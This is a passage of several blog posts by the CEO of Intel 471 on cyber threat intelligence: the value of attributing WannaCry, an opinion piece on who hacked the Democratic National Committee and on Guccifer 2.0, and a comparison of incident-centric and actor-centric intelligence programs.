Ultimately, those analysts willing to stand up publicly or within their respective organization to make a reasoned and well explained assessment should be applauded. My hats off to those intelligence analysts.

The value of attribution

There is a continuous debate in the information security community about the usefulness of attribution. First, attribution is attainable and happens at various levels all the time. Attribution comes in various levels such as a specific person, a group, a nation-state, an general effort, etc. Attribution absolutely can provide valuable insight that is relevant to decision-making at all levels.

As an example, let’s assume that we are a member of the information security team of an organization that had several machines infected with WannaCry. Our machines contained business critical files that were encrypted. Initially, we believe this ransomware is deployed by financially motivated cyber criminals. Conventional wisdom suggests that if you pay a criminal to decrypt your ransomed files, there’s a high probability they will be decrypted. At this point you advise your executives that if you paid the less than $1,000 USD, your systems will likely be decrypted.

You later learn, having not paid for your files to be decrypted yet, that North Korea is the most likely culprit for the ransomware on your systems. Your organization is based in South Korea and is involved with economic policy research. How would the likely attribution of WannaCry to North Korea change how your organization would respond to the ransomed systems?

Dealing with uncertain answers is the name of the game

As a cyber threat intelligence professional, it’s up to us to use our skills and experience to help our intelligence consumers understand the who, what, why, when, how…and what else. A lot of that involves dealing with uncertainty and a lack of information where (at the time) there is no right or wrong answer. At the end of the day the intelligence game is like criminal profiling. You hope that you will be right 99.9% of the time, but you operate under the assumption that you are right 100% of the time because the benefit of doing so greatly outweighs the disadvantages of doing so.

With regards to WannaCry and the companies that publicly expressed their opinion based on who was behind it, congratulations. I was very impressed with the reasoned arguments and confidence levels expressed. Props especially to Neel Mehta from Google, Kaspersky, Symantec, Digital Shadows (big props!) and of course the Intel 471 team. To those that ridiculed the organizations that had the expertise and courage to make and explain their assertions, hopefully you will be part of the cyber threat intelligence community in the future.

Express your opinion, the reasons behind it, your level of confidence and don’t be afraid to be wrong

Don’t be afraid to express your opinion, why you think it, your level of confidence, multiple hypothesis and even highlight your information gaps. On the Intel 471 side, despite publicly saying that we believed North Korea was the most likely culprit for WannaCry, we spent and continue to spend time and resources on researching financially motivated cyber criminals who might be the culprit. We are effectively researching avenues that would be counter to what we said publicly as our confidence level in our assertion was low.

If you just publish facts, you are more a journalist or police officer, not a cyber threat intelligence analyst

Former CIA Director John Brennan summed up the intelligence game versus evidence gathering well during a recent hearing:

A US Congressman asked if Brennan (former CIA Director) had “evidence” of collusion between Trump and Russia.

“I don’t do evidence,” Brennan replied.

If you sat on the fence of the WannaCry attribution debate and said there wasn’t enough information for you to form an opinion on who the likely culprit was, have a close look at whether in the past you have been simply reporting facts like a reporter or police officer doing an investigation. A true intelligence analyst must have the ability to deal with information gaps and uncertainty as well as effectively fight their biases. It’s a reality of the space we live in.


Who hacked the Democratic National Committee?

By Mark Arena, CEO of Intel 471.

Who hacked the Democratic National Committee?

I’ll preface this post by saying that I possess no information on this incident beyond what has been mentioned in open sources. This post is my personal opinion and is based on my experience researching and tracking both state and non-state cyber threat actors. I’ll also add that Intel 471 does not actively research and track threat actors that are involved with espionage and is focused on financially motivated cyber criminals and hacktivists/politically motivated threat actors.

On June 14, the Washington Post published a story that indicated Russian government hackers had hacked into the Democratic National Committee (DNC). The specific information linking the hack to the Russian government came from the cyber security company CrowdStrike:

One group, which CrowdStrike had dubbed Cozy Bear, had gained access last summer and was monitoring the DNC’s email and chat communications, Alperovitch said.

The other, which the firm had named Fancy Bear, broke into the network in late April and targeted the opposition research files.

I personally know a number of smart people who work at CrowdStrike and I trust them when they say that a specific intrusion or incident is linked to a specific hacking group. With regards to linking intrusion sets to groups, CrowdStrike uses an animal naming scheme to tie intrusion activity and intrusion sets to groups and countries. In this case CrowdStrike said that they observed intrusions in the DNC tied to the groups they call Cozy Bear and Fancy Bear where Bear signifies Russia. I have no doubts at all that CrowdStrike indeed observed intrusion set activity within the DNC’s environment that linked to these groups they had identified and were almost certainly actively tracking.

Guccifer 2.0: A spanner in the works

On June 15, an actor who calls himself Guccifer 2.0 created a WordPress blog where he posted a number of claimed confidential reports from the DNC including one on Donald Trump. In the blog post, an effort appears to be made to say how easy it was to hack the DNC and called into question CrowdStrike who linked two intrusions of the DNC to the Russian government.

For those that aren’t aware, the handle Guccifer was used by a Romanian hacker who was recently extradited to the United States. This actor was involved with hacking high profile people such as politicians and celebrities and publicly releasing their emails. Guccifer currently sits in a jail in Virginia awaiting sentencing.

Russia? Attribution is hard right?

When it comes to attribution of intrusions to groups or specific people, we are really talking about two things:

  • Attribution of the observed intrusion sets (malware, exploits etc) to known intrusion groups. This is where CrowdStrike tied this activity to the groups they call Cozy Bear and Fancy Bear.
  • Attribution of the threat grouping to a specific person, group/organization or nation state where in this case CrowdStrike has clearly singled out Russia. This is a lot harder than the previous point.

On the first point, I have complete confidence that CrowdStrike is able to track and link specific intrusions tools to known groups which they actively track.

On the second point, it is a little more unclear whether this activity is tied to the Russian government and I can’t really comment on that as I don’t have information that supports this or not. This type of attribution is done in a number of ways but is not limited to:

  • Tracking of specific targets/target sectors over a long period of time and mapping that against nation state objectives. Confidential and internal information within the DNC would be of clear interest to the Russian government and other governments. It might also be of interest to a politically motivated hacker who would want to discredit the DNC by publishing their sensitive information.
  • Researching intrusion activity and identifying operational security failures on behalf of the intrusion operators. A good example of this is where iSIGHT Partners was able to tie a claimed Islamic State (ISIL) hacking group to a Russian group they track as APT28.

Guccifer 2.0 did it!

One thing for sure with Guccifer 2.0 is that he clearly has demonstrated access to internal documents of the DNC. Given that, I believe there’s two possibilities:

  • One or both of the groups identified by CrowdStrike is tied to Guccifer 2.0 and this is a disinformation campaign against CrowdStrike and the DNC.
  • Guccifer 2.0 is a distinct threat actor who had access to the DNC’s systems at some point. At no way does this mean CrowdStrike was wrong with linking the activity they saw in the DNC’s environment. I’ve seen numerous occasions where organizations have been compromised by multiple different intrusion groups and the evidence of one intrusion group being active in a victim’s environment doesn’t mean another intrusion group can’t be active in the same environment at the same time.

On Guccifer 2.0 being a possible disinformation operation, I recommend closely looking at Guccifer 2.0’s writing. Based on the style and how it has been done, it looks like it was written by someone who doesn’t speak English as a first language and uses mannerisms used by people based in Eastern Europe or was purposely written like this. I also recommend reading the Twitter timeline for pwnallthethings which talks about claimed operational security (OPSEC) failures on behalf of Guccifer 2.0 and various files that were uploaded online. I’ll add that initially I was surprised by how quickly a disinformation operation could possibly have been executed after the Washington Post article.

Final Remarks

I’ll finish things off by repeating that in my opinion the emergence of Guccifer 2.0 does not at all conflict with CrowdStrike’s findings. Guccifer 2.0 may be a separate actor or may be tied to one or both of the intrusion groups CrowdStrike claims were active inside the DNC.

Cyber Threat Intelligence: Comparing the incident-centric and actor-centric approaches

By Mark Arena, CEO of Intel 471.

When it comes to cyber threat intelligence, the security industry mostly appears to take the view that indicators of compromise (IOCs) are the best approach to initiate/drive the intelligence process. If we take a step back and look at traditional intelligence concepts, we will find the following definition of intelligence:

“Simply defined, intelligence is information that has been analyzed and refined so that it is useful to policymakers in making decisions — specifically, decisions about potential threats to our national security.”

Consumers of indicators of compromise within an enterprise are typically on the ground network defenders yet the definition above shows intelligence defined as being useful to policymakers or executives. Based on this definition, we will make the case that an actor-centric approach to cyber threat intelligence enables predictive analysis and hence is useful to executives within your organization. I’ll preface this blog post by saying that while Intel 471 provides actor-centric cyber threat intelligence collection and information, we are not favoring one approach over the other. Additionally, we are not implying these are the only approaches to building a threat intelligence program. Rather, we believe that any threat intelligence program should include both an incident-centric and actor-centric approach.

Brian Krebs recently wrote an article that illustrated the fact there is real value in adversary or actor-centric intelligence collection when assessing cyber threats and the risk posed by them. The article also highlighted there are efficiency gains to be had through understanding threat actor and groups. Brian sums it up nicely with the following quote from ThreatConnect:

“Now if we consider for a moment the man hours and ad hoc reprioritization for many security teams globally who were queried or tasked to determine if their organization was at risk to Rombertik — had the organizations also had adversary intelligence of Ogundokun’s rudimentary technical and operational sophistication, they would have seen a clearer comparison of the functional capabilities of the Rombertik/Carbon Grabber contrasted against the operator’s (Ogundokun) intent, and could have more effectively determined the level of risk.”

An incident-centric approach

The incident-centric (or IOC-centric) approach typically begins with the detection of an event such as reconnaissance, or compromise. Really we’re operating in an incident-centric approach anytime the intelligence process is initiated and/or driven from IOCs (Indicators of Compromise). For example, a response effort might identify the following that kicks off the intelligence process:

  • Files (filenames, hashes, etc) that are dropped onto the system;
  • Registry keys added/changed;
  • Command and control (C2) server information (domains, URI paths, IP addresses, etc).

Using these IOCs we want to build out an understanding of the tactics, techniques and procedures (TTPs) and the higher-level campaign associated with this event. We are effectively trying to understand:

  • How did the malicious files end up on the compromised computer?

An exploit kit from an innocent user browsing websites?

A targeted spear-phish that was sent to the compromised user?

What exploits/exploit method was used to compromise the system?

  • What malware family was dropped on to the compromised system and what was its functionality?
  • What would the malware and associated access have allowed the threat actor to do on the system or network?

Pros of the incident-centric approach:

  • Direct relevance is established, as the intelligence effort dovetails from an incident response that has already impacted your organization;
  • Potentially allows identification of the threat actors and groups that are targeting your organization;
  • Provides IOCs that can be used to aid in the identification of compromise from the same threat actor, campaign and incidents across an organization.

Cons of the incident-centric approach:

  • Reactive approach initiated after your organization has already been impacted to some degree;
  • Focuses primarily on the attack surface and doesn’t reflect the process that the threat actor needs to go through to impact your organization. For example it doesn’t cover a threat actor seeking:

Exploits to purchase;

Malware to purchase;


  • Difficult to be predictive.

An actor-centric approach

There is continuous debate in the information security community about the usefulness of attribution of threat actors and groups, but we believe that attribution to various levels (person, group, nation-state, etc.) provides valuable insights that support decision-making at all levels.

The actor-centric approach starts with threat actors or groups, which is the reverse of the incident-centric approach. It should be noted that by solely focusing on threat actors that have mentioned your organization, you will lose the ability to be proactive. Brand monitoring can serve a valuable purpose, but we do not believe that it’s effective approach in isolation to collect proactively against threat actors. There are a number of threat actors that are attempting to impact your organization, but you may not observe them mentioning your organization by name. Therefore we believe it is best to focus on all actors, to include enabling actors, that might impact your sector/vertical.

Starting with the threat actors themselves, we want to understand:

  • Who are they?
  • What are their associations with enabling actors and partners?
  • What are their motivations?
  • What are their technical skills and abilities?
  • What are their TTPs?

Once we understand this actor-centric information, we want to fuse this information through analysis and correlation with other intelligence information. Ideally we could then tie their TTPs and campaigns to specific IOCs as well.

Pros of the actor-centric approach:

  • Enables your organization to be proactive and predictive;
  • Provides context around an actor’s motivations and their abilities before an incident occurs;
  • Focused on adversary’s business process rather than just the elements that (could) impact an organization’s attack surface.

Cons of the actor-centric approach:

  • Relevance to your organization might not be readily apparent;
  • It is challenging to gain and maintain accesses where threat actors and groups operate;
  • Requires analytical effort to fuse with your other sources of information;
  • Requires regularly updated prioritization of threat actors to focus on;
  • May be missing IOCs to look for within your organization.


The incident-centric approach is a required aspect of any mature threat intelligence program. On its own, it’s effectively the equivalent of the United States government monitoring Russia’s missile program solely by watching Russian soldiers firing missiles at and inside Ukraine, which they almost certainly are. In that example, you can be sure that the US government monitors Russian defense contractors, enablers and developers of Russian’s missile program at the direct person and organizational level.

With regards to the actor-centric approach, one could argue whether it is actionable or not. On its own and in isolation it probably isn’t, but when fused, stored and correlated with your own organization’s data/information and other sources of information it can be both predictive and actionable. Feeds of IOCs are frequently incorrectly referred to as actionable cyber threat intelligence within the security industry when this is simply raw data and another source of information.

If your organization simply takes external feeds of IOCs and automatically blocks them, you do not have an intelligence program. If you analyze (with a person) multiple sources of information in order to produce an output that is timely, relevant to your organization, and based on predetermined requirements, then you have an intelligence program.